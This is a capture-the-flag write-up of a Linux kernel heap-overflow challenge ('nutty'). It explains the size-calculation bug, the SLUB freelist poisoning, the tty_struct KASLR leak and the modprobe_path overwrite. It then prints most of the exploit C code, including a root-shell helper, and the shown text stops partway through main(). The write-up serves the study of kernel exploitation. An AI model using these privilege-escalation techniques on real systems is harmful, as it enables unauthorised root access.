    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x13372</span><span class="p">){</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">delete</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x13373</span><span class="p">){</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">show</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x13374</span><span class="p">){</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">append</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span><span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="n">file_ops</span> <span class="o">=</span> <span class="p">{</span>
    <span class="p">.</span><span class="n">owner</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
    <span class="p">.</span><span class="n">unlocked_ioctl</span> <span class="o">=</span> <span class="n">handle_ioctl</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">miscdevice</span> <span class="n">nutty_device</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">MISC_DYNAMIC_MINOR</span><span class="p">,</span> <span class="s">"nutty"</span> <span class="p">,</span> <span class="o">&amp;</span><span class="n">file_ops</span>
<span class="p">};</span>


<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">mod_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Initialise module.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">misc_register</span><span class="p">(</span><span class="o">&amp;</span><span class="n">nutty_device</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">mod_cleanup</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Clean up module.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">misc_deregister</span><span class="p">(</span><span class="o">&amp;</span><span class="n">nutty_device</span><span class="p">);</span>
<span class="p">}</span>


<span class="n">module_init</span><span class="p">(</span><span class="n">mod_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">mod_cleanup</span><span class="p">);</span></code></pre></figure>

<h2 id="reversing">Reversing</h2>
<p>Basically the kernel module lets us create content which we can view, edit and delete.
We can communicate with the kernel module using the <code class="language-plaintext highlighter-rouge">ioctl</code> syscall and the <code class="language-plaintext highlighter-rouge">req</code> structure the module uses.
The module uses a data structure called <code class="language-plaintext highlighter-rouge">nut</code> which holds a pointer to our content and its size.
The content is allocated using <code class="language-plaintext highlighter-rouge">kmalloc</code>.
We are allowed to create a maximum of 10 nuts and the content buffer has to be &lt;= 1023 bytes.</p>

<h2 id="vulnerability">Vulnerability</h2>
<p>There are two vulnerabilities that I noticed:</p>

<ol>
  <li>The kernel module does not use any locks. This enables us to create a race condition.</li>
  <li>A heap overflow.</li>
</ol>

<p>I tried to use the race condition at first but gave up and decided to go for the heap overflow because the race condition was quite unstable.</p>

<h2 id="heap-overflow">Heap overflow</h2>
<p>The Heap overflow is in the <code class="language-plaintext highlighter-rouge">append</code> function.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">static</span> <span class="kt">int</span> <span class="nf">memcpy_safe</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">dst</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">src</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">){</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">size</span> <span class="o">&amp;</span> <span class="mh">0x3ff</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">read_size</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="n">arg</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&gt;=</span> <span class="mi">1024</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"invalid size"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EOVERFLOW</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">size</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">append</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">...</span>

    <span class="kt">int</span> <span class="n">new_size</span> <span class="o">=</span> <span class="n">read_size</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="o">+</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">new_size</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">new_size</span> <span class="o">&gt;=</span> <span class="mi">1024</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"bad new size!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">tmp</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">new_size</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">memcpy_safe</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">);</span>
    <span class="n">kfree</span><span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">);</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">appended</span> <span class="o">=</span> <span class="n">read_contents</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">appended</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">){</span>
        <span class="n">memcpy_safe</span><span class="p">(</span><span class="n">tmp</span><span class="o">+</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">,</span> <span class="n">appended</span><span class="p">,</span> <span class="n">new_size</span> <span class="o">-</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">);</span>
        <span class="n">kfree</span><span class="p">(</span><span class="n">appended</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="p">...</span>
<span class="p">}</span></code></pre></figure>

<p>The bug is that the return value of <code class="language-plaintext highlighter-rouge">read_size</code> is used to calculate <code class="language-plaintext highlighter-rouge">new_size</code>.
This works for all cases where size is in the range of 0 - 1023. If we provide a value &gt; 1023 however,
-EOVERFLOW is returned (which is -112).</p>

<p>Consider following example: We have created a <code class="language-plaintext highlighter-rouge">nut</code> with size 1023 and are now calling <code class="language-plaintext highlighter-rouge">append</code> with
a size of 4096. <code class="language-plaintext highlighter-rouge">read_size</code> will return -112, so <code class="language-plaintext highlighter-rouge">new_size = -112 + 1023 = 911</code>.
Further below the module calls <code class="language-plaintext highlighter-rouge">memcpy_safe</code> and passes <code class="language-plaintext highlighter-rouge">new_size - nuts[idx].size = -112</code> as size parameter to memcpy safe.</p>

<p><code class="language-plaintext highlighter-rouge">memcpy_safe</code> then calculates <code class="language-plaintext highlighter-rouge">size &amp; 0x3ff</code>. Since size is -112, <code class="language-plaintext highlighter-rouge">memcpy_safe</code> will use 912 (-112 &amp; 0x3ff) as size.
Therefore the call to <code class="language-plaintext highlighter-rouge">memcpy_safe</code> looks like this: <code class="language-plaintext highlighter-rouge">memcpy_safe(tmp + 1023, appended, 912)</code>. This is a heap overflow of 912 bytes.</p>

<h2 id="exploiting">Exploiting</h2>
<p>With this Heap overflow our goal is to somehow poison the Kernel Heap and overwrite stuff in kernel space to gain root.
As I mentioned earlier the given kernel uses the <code class="language-plaintext highlighter-rouge">SLUB</code> implementation of the Slab allocator. For a good introduction to the Slab allocator in the Linux kernel refer to <a href="https://hammertux.github.io/slab-allocator">this</a> article.</p>

<p><code class="language-plaintext highlighter-rouge">SLUB</code> uses a so called <code class="language-plaintext highlighter-rouge">freelist</code>, which is a singly linked list of available slabs, to keep track of freed objects. Since we have a heap overflow we can corrupt the freelist in order to get a slab at a chosen address. This attack is similar to Tcache poisoning. The question remaining is: which address should we use ?</p>

<p>This is where I got stuck. Due to SMEP we can’t jump to userspace. Being fairly new to kernel pwn, the only privesc technique I have used before in this case is overwriting <code class="language-plaintext highlighter-rouge">modprobe_path</code>. I managed to successfully forge a <code class="language-plaintext highlighter-rouge">freelist</code> pointer and also overwrite <code class="language-plaintext highlighter-rouge">modeprobe_path</code> but the kernel kept crashing. I don’t really know why but probably because I messed up the heap too much.</p>

<p>Looking at other solutions I saw that <a href="https://twitter.com/r4j0x00?lang=en">r4j0x00</a> from SuperGuesser also overwrote <code class="language-plaintext highlighter-rouge">modprobe_path</code> but used a different way to do so based on the <code class="language-plaintext highlighter-rouge">tty_struct</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">tty_struct</code> is a kernel structure that gets allocated when we call open on <code class="language-plaintext highlighter-rouge">/dev/ptmx</code> which returns a file descriptor to a pseudoterminal master.
The <code class="language-plaintext highlighter-rouge">tty_struct</code> can be used to defeat KASLR as well as execute arbitrary code in kernel space. To do so we must overwrite the <code class="language-plaintext highlighter-rouge">tty_operations</code> pointer of the <code class="language-plaintext highlighter-rouge">tty_struct</code>. The <code class="language-plaintext highlighter-rouge">tty_operations</code> is a structure containing a bunch of function callbacks set by a tty driver. Examples are <code class="language-plaintext highlighter-rouge">write</code> or <code class="language-plaintext highlighter-rouge">ioctl</code>.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">struct</span> <span class="n">tty_struct</span> <span class="p">{</span>
	<span class="p">...</span>

	<span class="k">const</span> <span class="k">struct</span> <span class="n">tty_operations</span> <span class="o">*</span><span class="n">ops</span><span class="p">;</span>

    <span class="p">...</span>

<span class="p">}</span> <span class="n">__randomize_layout</span><span class="p">;</span>

<span class="k">struct</span> <span class="n">tty_operations</span> <span class="p">{</span>
	<span class="p">...</span>
	<span class="kt">int</span>  <span class="p">(</span><span class="o">*</span><span class="n">ioctl</span><span class="p">)(</span><span class="k">struct</span> <span class="n">tty_struct</span> <span class="o">*</span><span class="n">tty</span><span class="p">,</span>
		    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">);</span>

    <span class="p">...</span>

<span class="p">}</span> <span class="n">__randomize_layout</span><span class="p">;</span></code></pre></figure>

<p>Looking for ways on how exactly to do this, I found <a href="https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of-tty-in-the-linux-kernel.html">this</a> article mentioning that we can overwrite the <code class="language-plaintext highlighter-rouge">ioctl</code>
handler with a gadget like:</p>

<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="nf">mov</span>    <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span><span class="nb">esi</span></code></pre></figure>

<p>As can be seen above, the <code class="language-plaintext highlighter-rouge">ioctl</code> handler takes 3 arguments. <code class="language-plaintext highlighter-rouge">cmd</code> and <code class="language-plaintext highlighter-rouge">arg</code> are user controlled. Therefore when overwriting the <code class="language-plaintext highlighter-rouge">ioctl</code> handler with this gadget we have a 4 byte arbitrary write primitive to where <code class="language-plaintext highlighter-rouge">rdx</code> is pointing to. Using ROPGadget I found the gadget at offset <code class="language-plaintext highlighter-rouge">0xdc749</code> from kernel base.</p>

<p>Lets put everything together.</p>

<p><strong>Defeating KASLR</strong></p>

<p>The kernel module uses <code class="language-plaintext highlighter-rouge">kmalloc</code> to allocate slabs that hold our data. Due to <code class="language-plaintext highlighter-rouge">kmalloc</code> the contents of a slab are not zeroed out. Therefore to leak the contents of a <code class="language-plaintext highlighter-rouge">tty_struct</code> we simply open <code class="language-plaintext highlighter-rouge">/dev/ptmx</code> and immediately close it again so that the <code class="language-plaintext highlighter-rouge">freelist</code> of the <code class="language-plaintext highlighter-rouge">kmalloc-512</code> cache contains the now freed <code class="language-plaintext highlighter-rouge">tty_struct</code>. Allocating a nut with size &gt; 512 will return this chunk to us. We just have to set the size of the <code class="language-plaintext highlighter-rouge">req</code> struct to 0 in order to not overwrite the chunk.</p>

<p>With the leaked <code class="language-plaintext highlighter-rouge">tty_struct</code> we have defeated KASLR. Furthermore, the <code class="language-plaintext highlighter-rouge">tty_struct</code> contains heap pointers which we will use to forge a <code class="language-plaintext highlighter-rouge">freelist</code> pointer.</p>

<p><strong>Overwriting modeprobe_path</strong></p>

<p>To overwrite <code class="language-plaintext highlighter-rouge">modeprobe_path</code> based on corrupting <code class="language-plaintext highlighter-rouge">tty_operations</code> we call open on <code class="language-plaintext highlighter-rouge">/dev/ptmx</code> once again and overflow the heap with the heap address of the <code class="language-plaintext highlighter-rouge">tty_struct</code> of this pseudoterminal master. We calculate the heap address based on the heap leak we got from the <code class="language-plaintext highlighter-rouge">tty_struct</code>.</p>

<p>After corrupting the freelist we allocate a bunch more nuts until we get our forged slab which overlaps with the <code class="language-plaintext highlighter-rouge">tty_struct</code> of the pseudoterminal. Having an overlapping slab, we overwrite the <code class="language-plaintext highlighter-rouge">tty_operations</code> pointer to point to a forged struct.</p>

<p>Having done this we can simply use the <code class="language-plaintext highlighter-rouge">icotl</code> syscall and overwrite <code class="language-plaintext highlighter-rouge">modeprobe_path</code> based on the gadget we have overwritten the <code class="language-plaintext highlighter-rouge">ioctl</code> handler with.</p>

<p>Overwriting <code class="language-plaintext highlighter-rouge">modeprobe_path</code> this way does not make the kernel crash. Why ? Idk but probably because we corrupted the freelist with a pointer that is actually on the heap and not somewhere else like the address of <code class="language-plaintext highlighter-rouge">modeprobe_path</code>.</p>

<h2 id="exploit">Exploit</h2>

<p>If you want to try yourself refer to my <a href="https://github.com/h0ps-ctf/Ctf-Challenges">repo</a> where I uploaded the challenges files, my exploit and some helper scripts.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;assert.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;poll.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/stat.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/uio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="cp">#define CREATE 0x13371
#define DELETE 0x13372
#define SHOW   0x13373
#define APPEND 0x13374
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">req</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">contents</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">content_length</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">show_buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">req</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">nut</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">size</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">contents</span><span class="p">;</span>
<span class="p">}</span> <span class="n">nut</span><span class="p">;</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">print_hex8</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">len</span> <span class="o">/</span> <span class="mi">8</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%p "</span><span class="p">,</span> <span class="n">tmp</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">create</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span><span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">cont_len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">req</span> <span class="n">r</span><span class="p">;</span>

    <span class="n">r</span><span class="p">.</span><span class="n">contents</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">content_length</span> <span class="o">=</span> <span class="n">cont_len</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">CREATE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">r</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"ioctl create"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">delete</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">req</span> <span class="n">r</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">idx</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">DELETE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">r</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"ioctl delete"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">show</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">req</span> <span class="n">r</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">idx</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">show_buffer</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">SHOW</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">r</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"ioctl show"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">append</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span><span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">cont_len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">req</span> <span class="n">r</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">idx</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">contents</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
    <span class="n">r</span><span class="p">.</span><span class="n">content_length</span> <span class="o">=</span> <span class="n">cont_len</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">APPEND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">r</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"ioctl append"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">shell</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"echo '#!/bin/sh' &gt; /home/user/hax; echo 'setsid cttyhack setuidgid 0 \
           /bin/sh' &gt;&gt; /home/user/hax"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"chmod +x /home/user/hax"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"echo -ne '</span><span class="se">\\</span><span class="s">xff</span><span class="se">\\</span><span class="s">xff</span><span class="se">\\</span><span class="s">xff</span><span class="se">\\</span><span class="s">xff' &gt; /home/user/roooot"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"chmod +x /home/user/roooot"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"/home/user/roooot"</span><span class="p">);</span>
<span class="p">}</span>

<span class="cp">#define TTY_OPS 0x1064f00
#define MODEPROBE_PATH 0x144cd40
</span><span class="cm">/*
    0xffffffffbd8dc749:	mov    DWORD PTR [rdx],esi
    0xffffffffbd8dc74b:	ret
*/</span>
<span class="cp">#define GADGET 0xdc749
</span>
<span class="cp">#define TTY_STRUCT 56;
</span>
<span class="c1">// size &lt;= 1024, amount &lt;= 10</span>
<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/nutty"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">int</span> <span class="n">tty_fds</span><span class="p">[</span><span class="mh">0x2</span><span class="p">];</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">tty_fds</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/ptmx"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_NOCTTY</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">close</span><span class="p">(</span><span class="n">tty_fds</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>

    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x400</span><span class="p">];</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>

    <span class="n">create</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x3ff</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">show</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
    <span class="n">delete</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="kt">char</span> <span class="n">poisoned</span><span class="p">[</span><span class="mh">0x400</span><span class="p">];</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">poisoned</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>

    <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">kernel_base</span> <span class="o">=</span> <span class="n">p_buf</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">-</span> <span class="n">TTY_OPS</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">heap_leak</span> <span class="o">=</span> <span class="n">p_buf</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
    <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">tty_struct</span> <span class="o">=</span> <span class="n">heap_leak</span> <span class="o">-</span> <span class="n">TTY_STRUCT</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">modeprobe_path</span> <span class="o">=</span> <span class="n">kernel_base</span> <span class="o">+</span> <span class="n">MODEPROBE_PATH</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">gadget</span> <span class="o">=</span> <span class="n">kernel_base</span> <span class="o">+</span> <span class="n">GADGET</span><span class="p">;</span>

